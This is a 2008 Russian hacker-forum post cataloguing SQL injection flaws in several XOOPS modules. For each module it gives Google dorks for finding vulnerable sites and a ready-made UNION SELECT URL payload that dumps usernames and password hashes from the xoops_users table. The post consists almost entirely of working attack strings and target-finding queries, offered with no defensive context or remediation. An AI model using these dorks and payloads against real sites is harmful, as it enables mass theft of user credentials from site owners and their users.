Форум АНТИЧАТ - [Обзор уязвимости] Xoops и его модулей.

[Обзор уязвимости] Xoops и его модулей.

15.03.2008, 04:33

xcedz

Познавший АНТИЧАТ

Регистрация: 14.01.2008

Сообщений: 1,165

Провел на форуме:
7229141

Репутация: 3099

[Обзор уязвимости] Xoops и его модулей.

XOOPS Module tutorials (printpage.php) SQL Injection Vulnerability

DORKS 1 : allinurl :"/modules/tutorials/"
DORK 2 : allinurl :"/modules/tutorials/"tid

EXPLOIT 1 :

PHP код:


		
			
modules/tutorials/printpage.php?tid=-9999999/**/union/**/select/**/concat(uname,0x3a,pass),1,concat(uname,0x3a,pass),3,4,5/**/from/**/xoops_users/*

EXPLOIT 2 :

PHP код:


		
			
modules/tutorials/index.php?op=printpage&tid=-9999999/**/union/**/select/**/0,1,concat(uname,0x3a,pass),3/**/from/**/xoops_users/*

================================================
XOOPS Module My_eGallery 3.04 (gid) SQL Injection Vulnerability

DORKS 1 : allinurl :"modules/my_egallery"

EXPLOIT :

PHP код:


		
			
modules/my_egallery/index.php?do=showgall&gid=-9999999/**/union/**/select/**/0,1,concat(uname,0x3a,pass),3,4,5,6/**/from+xoops_users/*

================================================
XOOPS Module Gallery 0.2.2 (gid) Remote SQL Injection Vulnerability

DORKS 1 : allinurl :"modules/gallery"
DORK 2 : allinurl :"modules/gallery"gid

EXPLOIT :

PHP код:


		
			
modules/gallery/index.php?do=showgall&gid=-9999999/**/union/**/select/**/0,1,concat(uname,0x3a,pass),3,4,5,6/**/from/**/xoops_users/*

================================================
XOOPS Module wfdownloads (cid) Remote SQL Injection Vulnerability

DORK 1 : allinurl: "modules/wfdownloads/viewcat.php?cid"
DORK 2 : allinurl: "modules/wfdownloads"
EXPLOIT :

PHP код:


		
			
modules/wfdownloads/viewcat.php?cid=999%2F%2A%2A%2Funion%2F%2A%2A%2Fselect+000,concat(uname,0x3a,pass)/**/from%2F%2A%2A%2Fxoops_users/*where%20pass

================================================
XOOPS Module Glossario 2.2 (sid) Remote SQL Injection Vulnerabilit
DORK 1 : allinurl: "modules/glossaires"
EXPLOIT :

PHP код:


		
			
modules/glossaires/glossaires-p-f.php?op=ImprDef&sid=99999/**/union/**/select/**/000,pass,uname,pass/**/from/**/xoops_users/*where%20terme

================================================
PS найденные за март 2008

Последний раз редактировалось xcedz; 15.03.2008 в 04:39..